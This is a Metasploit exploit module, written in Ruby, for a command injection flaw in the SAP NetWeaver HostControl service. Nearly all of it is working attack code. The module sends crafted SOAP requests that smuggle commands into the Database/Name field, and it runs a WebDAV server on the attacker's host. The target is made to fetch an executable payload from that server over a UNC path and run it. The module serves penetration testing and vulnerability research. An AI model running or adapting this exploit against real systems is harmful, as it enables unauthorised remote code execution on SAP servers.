SAP NetWeaver HostControl Command Injection



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking

    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::EXE

    def initialize
        super(
            'Name'            => 'SAP NetWeaver HostControl Command Injection',
            'Description'   => %q{
                    This module exploits a command injection vulnerability in the SAPHostControl
                Service, by sending a specially crafted SOAP request to the management console.

                In order to deal with the spaces and length limitations, a WebDAV service is
                created to run an arbitrary payload when accessed as a UNC path. Because of this,
                the target host must have the WebClient service (WebDAV Mini-Redirector) enabled.
                It is enabled and automatically started by default on Windows XP SP3, but disabled
                by default on Windows 2003 SP2.
            },
            'Author'      => [
                'Michael Jordon', # Vulnerability discovery and PoC
                'juan vazquez' # Metasploit module
            ],
            'Platform'    => 'win',
            'References'  =>
                [
                    [ 'OSVDB', '84821'],
                    [ 'URL', 'http://www.contextis.com/research/blog/sap4/' ],
                    [ 'URL', 'https://websmp130.sap-ag.de/sap/support/notes/1341333' ] # Authentication Required
                ],
            'Targets'     =>
                [
                    [ 'SAP NetWeaver 7.02 SP6 / Windows with WebClient enabled', { } ],
                ],
            'DefaultTarget'  => 0,
            'Privileged'     => true,
            'DisclosureDate' => 'Aug 14 2012'
        )
        register_options(
            [
                Opt::RPORT(1128),
                OptString.new('URIPATH',   [ true, "The URI to use (do not change)", "/" ]),
                OptPort.new('SRVPORT',     [ true, "The daemon port to listen on (do not change)", 80 ]),
            ], self.class)
    end

    def autofilter
        false
    end

    def check_dependencies
        use_zlib
    end

    def on_request_uri(cli, request)
        case request.method
            when 'OPTIONS'
                process_options(cli, request)
            when 'PROPFIND'
                process_propfind(cli, request)
            when 'GET'
                process_get(cli, request)
            else
                vprint_status("#{request.method} => 404 (#{request.uri})")
                resp = create_response(404, "Not Found")
                resp.body = ""
                resp['Content-Type'] = 'text/html'
                cli.send_response(resp)
        end
    end

    def process_get(cli, request)

        if blacklisted_path?(request.uri)
            vprint_status("GET => 404 [BLACKLIST] (#{request.uri})")
            resp = create_response(404, "Not Found")
            resp.body = ""
            cli.send_response(resp)
            return
        end

        if (request.uri.include? @basename)
            print_status("GET => Payload")
            return if ((p = regenerate_payload(cli)) == nil)
            data = generate_payload_exe({ :code => p.encoded })
            send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
            return
        end

        # Treat index.html specially
        if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)
            vprint_status("GET => REDIRECT (#{request.uri})")
            resp = create_response(200, "OK")

            resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=#{@exploit_unc}#{@share_name}\\"></head><body></body></html>|

            resp['Content-Type'] = 'text/html'
            cli.send_response(resp)
            return
        end

        # Anything else is probably a request for a data file...
        vprint_status("GET => DATA (#{request.uri})")
        data = "HELLO!"
        send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
    end

    #
    # OPTIONS requests sent by the WebDav Mini-Redirector
    #
    def process_options(cli, request)
        vprint_status("OPTIONS #{request.uri}")
        headers = {
            'MS-Author-Via' => 'DAV',
            'DASL'          => '<DAV:sql>',
            'DAV'           => '1, 2',
            'Allow'         => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
            'Public'        => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
            'Cache-Control' => 'private'
        }
        resp = create_response(207, "Multi-Status")
        headers.each_pair {|k,v| resp[k] = v }
        resp.body = ""
        resp['Content-Type'] = 'text/xml'
        cli.send_response(resp)
    end

    #
    # PROPFIND requests sent by the WebDav Mini-Redirector
    #
    def process_propfind(cli, request)
        path = request.uri
        vprint_status("PROPFIND #{path}")

        if path !~ /\/$/

            if blacklisted_path?(path)
                vprint_status "PROPFIND => 404 (#{path})"
                resp = create_response(404, "Not Found")
                resp.body = ""
                cli.send_response(resp)
                return
            end

            if path.index(".")
                vprint_status "PROPFIND => 207 File (#{path})"
                body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
                # send the response
                resp = create_response(207, "Multi-Status")
                resp.body = body
                resp['Content-Type'] = 'text/xml; charset="utf8"'
                cli.send_response(resp)
                return
            else
                vprint_status "PROPFIND => 301 (#{path})"
                resp = create_response(301, "Moved")
                resp["Location"] = path + "/"
                resp['Content-Type'] = 'text/html'
                cli.send_response(resp)
                return
            end
        end

        vprint_status "PROPFIND => 207 Directory (#{path})"
        body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
    <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
        <D:href>#{path}</D:href>
        <D:propstat>
            <D:prop>
                <lp1:resourcetype><D:collection/></lp1:resourcetype>
                <lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
                <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
                <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
                <D:supportedlock>
                    <D:lockentry>
                        <D:lockscope><D:exclusive/></D:lockscope>
                        <D:locktype><D:write/></D:locktype>
                    </D:lockentry>
                    <D:lockentry>
                        <D:lockscope><D:shared/></D:lockscope>
                        <D:locktype><D:write/></D:locktype>
                    </D:lockentry>
                </D:supportedlock>
                <D:lockdiscovery/>
                <D:getcontenttype>httpd/unix-directory</D:getcontenttype>
            </D:prop>
        <D:status>HTTP/1.1 200 OK</D:status>
    </D:propstat>
</D:response>
|

        if request["Depth"].to_i > 0
            trail = path.split("/")
            trail.shift
            case trail.length
                when 0
                    body << generate_shares(path)
                when 1
                    body << generate_files(path)
            end
        else
            vprint_status "PROPFIND => 207 Top-Level Directory"
        end

        body << "</D:multistatus>"

        body.gsub!(/\t/, '')

        # send the response
        resp = create_response(207, "Multi-Status")
        resp.body = body
        resp['Content-Type'] = 'text/xml; charset="utf8"'
        cli.send_response(resp)
    end

    def generate_shares(path)
        share_name = @share_name
        %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{share_name}/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
    end

    def generate_files(path)
        trail = path.split("/")
        return "" if trail.length < 2

        base  = @basename
        exts  = @extensions.gsub(",", " ").split(/\s+/)
        files = ""
        exts.each do |ext|
            files << %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{base}.#{ext}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
<D:ishidden b:dt="boolean">1</D:ishidden>
</D:propstat>
</D:response>
|
        end

        files
    end

    def gen_timestamp(ttype=nil)
        ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
    end

    def gen_datestamp(ttype=nil)
        ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
    end

    # This method rejects requests that are known to break exploitation
    def blacklisted_path?(uri)
        share_path = "/#{@share_name}"
        payload_path = "#{share_path}/#{@basename}.exe"
        case uri
            when payload_path
                return false
            when share_path
                return false
            else
                return true
        end
    end

    def check

        @peer = "#{rhost}:#{rport}"

        soap = <<-eos
<?xml version="1.0" encoding="utf-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema">
    <SOAP-ENV:Header>
        <sapsess:Session xmlns:sapsess="http://www.sap.com/webas/630/soap/features/session/">
            <enableSession>true</enableSession>
        </sapsess:Session>
    </SOAP-ENV:Header>
    <SOAP-ENV:Body>
        <ns1:GetDatabaseStatus xmlns:ns1='urn:SAPHostControl'>
            <aArguments>
                <item>
                    <mKey>Database/Type</mKey>
                    <mValue>ada</mValue>
                </item>
                <item>
                    <mKey>Database/Password</mKey>
                    <mValue>#{rand_text_alphanumeric(8)}</mValue>
                </item>
                <item>
                    <mKey>Database/Username</mKey>
                    <mValue>control</mValue>
                </item>
                <item>
                    <mKey>Database/Name</mKey>
                    <mValue>NSP \-o c:\\#{rand_text_alpha_lower(4)}.txt \-n #{rand_text_alpha_lower(8)}
!#{rand_text_alpha_lower(8)}
</mValue>
                </item>
            </aArguments>
        </ns1:GetDatabaseStatus>
    </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
        eos

        print_status("#{@peer} - Testing command injection...")

        res = send_request_cgi({
            'uri'          => '/',
            'method'       => 'POST',
            'ctype'        => 'text/xml; charset=utf-8',
            'headers'       => {
                'SOAPAction' => "\"\"",
            },
            'data'         => soap,
        }, 10)

        if (res and res.code == 500 and res.body =~ /Generic error/)
            return CheckCode::Appears
        else
            return CheckCode::Safe
        end

    end

    def exploit

        @basename = rand_text_alpha(3)
        @share_name = rand_text_alpha(3)
        @extensions = "exe"
        @system_commands_file = rand_text_alpha_lower(4)

        myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']

        @exploit_unc  = "\\\\#{myhost}\\"

        if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
            fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
        end

        vprint_status("Payload available at #{@exploit_unc}#{@share_name}\\#{@basename}.exe")


        @peer = "#{rhost}:#{rport}"

        soap = <<-eos
<?xml version="1.0" encoding="utf-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema">
    <SOAP-ENV:Header>
        <sapsess:Session xmlns:sapsess="http://www.sap.com/webas/630/soap/features/session/">
            <enableSession>true</enableSession>
        </sapsess:Session>
    </SOAP-ENV:Header>
    <SOAP-ENV:Body>
        <ns1:GetDatabaseStatus xmlns:ns1='urn:SAPHostControl'>
            <aArguments>
                <item>
                    <mKey>Database/Type</mKey>
                    <mValue>ada</mValue>
                </item>
                <item>
                    <mKey>Database/Password</mKey>
                    <mValue>#{rand_text_alphanumeric(8)}</mValue>
                </item>
                <item>
                    <mKey>Database/Username</mKey>
                    <mValue>control</mValue>
                </item>
                <item>
                    <mKey>Database/Name</mKey>
                    <mValue>NSP \-o c:\\#{@system_commands_file}.txt \-n #{rand_text_alpha_lower(8)}
!#{@exploit_unc}#{@share_name}\\#{@basename}.exe
</mValue>
                </item>
            </aArguments>
        </ns1:GetDatabaseStatus>
    </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
        eos

        print_status("#{@peer} - Injecting system commands...")

        res = send_request_cgi({
            'uri'          => '/',
            'method'       => 'POST',
            'ctype'        => 'text/xml; charset=utf-8',
            'headers'       => {
                'SOAPAction'     => "\"\"",
            },
            'data'         => soap,
        }, 10)

        if (res and res.code == 500 and res.body =~ /Generic error/)
            print_good("#{@peer} - System command successfully injected")
        else
            print_error("#{@peer} - Failed to inject system command")
            return
        end

        soap = <<-eos
<?xml version="1.0" encoding="utf-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema">
    <SOAP-ENV:Header>
        <sapsess:Session xmlns:sapsess="http://www.sap.com/webas/630/soap/features/session/">
            <enableSession>true</enableSession>
        </sapsess:Session>
    </SOAP-ENV:Header>
    <SOAP-ENV:Body>
        <ns1:GetDatabaseStatus xmlns:ns1='urn:SAPHostControl'>
            <aArguments>
                <item>
                    <mKey>Database/Type</mKey>
                    <mValue>ada</mValue>
                </item>
                <item>
                    <mKey>Database/Password</mKey>
                    <mValue>#{rand_text_alphanumeric(8)}</mValue>
                </item>
                <item>
                    <mKey>Database/Username</mKey>
                    <mValue>control</mValue>
                </item>
                <item>
                    <mKey>Database/Name</mKey>
                    <mValue>NSP \-ic c:\\#{@system_commands_file}.txt</mValue>
                </item>
            </aArguments>
        </ns1:GetDatabaseStatus>
    </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
        eos

        print_status("#{@peer} - Executing injected command")

        res = send_request_cgi({
            'uri'          => '/',
            'method'       => 'POST',
            'ctype'        => 'text/xml; charset=utf-8',
            'headers'       => {
                'SOAPAction'     => "\"\"",
            },
            'data'         => soap,
        }, 1)

        if res
            print_error("#{@peer} - Failed to execute injected command")
            return
        end

        super
    end
end